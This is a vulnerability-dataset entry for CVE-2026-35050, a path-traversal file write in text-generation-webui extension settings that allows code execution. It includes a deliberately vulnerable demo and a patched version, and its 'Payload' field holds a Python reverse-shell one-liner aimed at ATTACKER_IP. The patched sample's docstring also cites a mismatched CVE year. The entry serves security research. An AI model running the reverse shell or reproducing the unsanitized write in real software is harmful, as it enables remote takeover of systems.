VAITP Dataset

← Back to the dataset

CVE-2026-35050

Arbitrary file write in extension settings allows for Remote Code Execution.

  • CVSS 8.8
  • CWE-22
  • Input Validation and Sanitization
  • Remote

text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.1.1, users can save extention settings in "py" format and in the app root directory. This allows to overwrite python files, for instance the "download-model.py" file could be overwritten. Then, this python file can be triggered to get executed from "Model" menu when requesting to download a new model. This vulnerability is fixed in 4.1.1.

CVSS base score
8.8
Published
2026-04-06
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
text-generat
Fixed by upgrading
Yes

Solution

Upgrade text-generation-webui to version 4.1.1 or later.

Vulnerable code sample

import os
import sys

def save_extension_settings(filename, content):
    """
    Represents the vulnerable backend function for saving settings.
    VULNERABILITY: It does not sanitize the 'filename' parameter or restrict
    the file path, allowing an attacker to overwrite arbitrary files.
    """
    unsafe_path = os.path.join(".", filename)
    with open(unsafe_path, 'w') as f:
        f.write(content)

def trigger_model_download_action():
    """
    Represents a legitimate application function that executes the downloader script,
    which can be triggered by a user from the web interface.
    """
    # Use sys.executable to ensure the correct python interpreter runs the script.
    os.system(f'{sys.executable} download-model.py')

# --- Demonstration of the Vulnerability ---

# 1. A legitimate, critical script named 'download-model.py' exists in the application's
#    root directory. This is the target for the attacker.
original_script_code = "print('--- Legitimate action: The original, safe model downloader is running. ---')"
with open("download-model.py", "w") as f:
    f.write(original_script_code)

# 2. An attacker uses the "Save extension settings" feature in the web UI.
#    They craft a request where the filename is 'download-model.py' and the
#    content is their malicious Python code.
malicious_target_filename = "download-model.py"
malicious_payload = "import os\nprint('!!! PWNED: Arbitrary code execution achieved. Malicious script is running. !!!')"

# 3. The backend server receives the attacker's request and calls the vulnerable
#    function, overwriting the original 'download-model.py' with the malicious payload.
save_extension_settings(malicious_target_filename, malicious_payload)

# 4. Later, a user (or the attacker) performs a normal action in the application,
#    such as clicking the "Download Model" button. This triggers the compromised script.
trigger_model_download_action()

# 5. Cleanup the files created during the demonstration.
if os.path.exists("download-model.py"):
    os.remove("download-model.py")

Patched code sample

import os
from pathlib import Path


def save_extension_settings_securely(extension_name: str, file_path_str: str, contents: str, app_root: Path):
    """
    This function demonstrates the fixed logic for saving extension settings,
    addressing the vulnerability described in CVE-2023-35050.

    Args:
        extension_name: The name of the extension saving its settings.
        file_path_str: The user-provided string for the file path.
        contents: The content to be written to the settings file.
        app_root: The root directory of the application.
    """
    # Sanitize extension_name to prevent it from being used for path traversal.
    if '..' in extension_name or extension_name.startswith('/'):
        # In the actual application, this would raise an error to the user interface.
        print(f"Error: Invalid extension name '{extension_name}'.")
        return

    # Define the secure base directory where settings for this extension are allowed.
    # This confines file operations to the 'extensions/<extension_name>/' sub-directory.
    base_path = app_root / 'extensions' / extension_name

    # Construct the final file path by taking ONLY the filename part of the user input
    # and joining it to the secure base path. This strips any directory traversal
    # characters (e.g., '../') or absolute paths from the user-provided string.
    file_path = base_path / Path(file_path_str).name

    # --- START OF CRITICAL FIX ---

    # 1. Compare canonical paths to ensure the final path is inside the allowed directory.
    #    The .resolve() method gets the absolute path, preventing bypasses using symlinks or '..'.
    is_safe_directory = file_path.parent.resolve() == base_path.resolve()

    # 2. Enforce that the file extension must be '.json'.
    #    This prevents overwriting executable files like '.py' or other sensitive files.
    is_safe_extension = file_path.suffix == '.json'

    if not is_safe_directory or not is_safe_extension:
        # In the actual application, this would raise an error to the user interface.
        print(f"Security Error: Attempt to save to an invalid path or with an invalid extension: '{file_path}'")
        return

    # --- END OF CRITICAL FIX ---

    # If all security checks pass, the file can be written safely.
    try:
        os.makedirs(base_path, exist_ok=True)
        with open(file_path, 'w') as f:
            f.write(contents)
        print(f"Successfully and securely saved settings to: {file_path}")
    except IOError as e:
        print(f"Error writing to file: {e}")

Payload

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);

Cite this entry

@misc{vaitp:cve202635050,
  title        = {{Arbitrary file write in extension settings allows for Remote Code Execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-35050},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35050/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::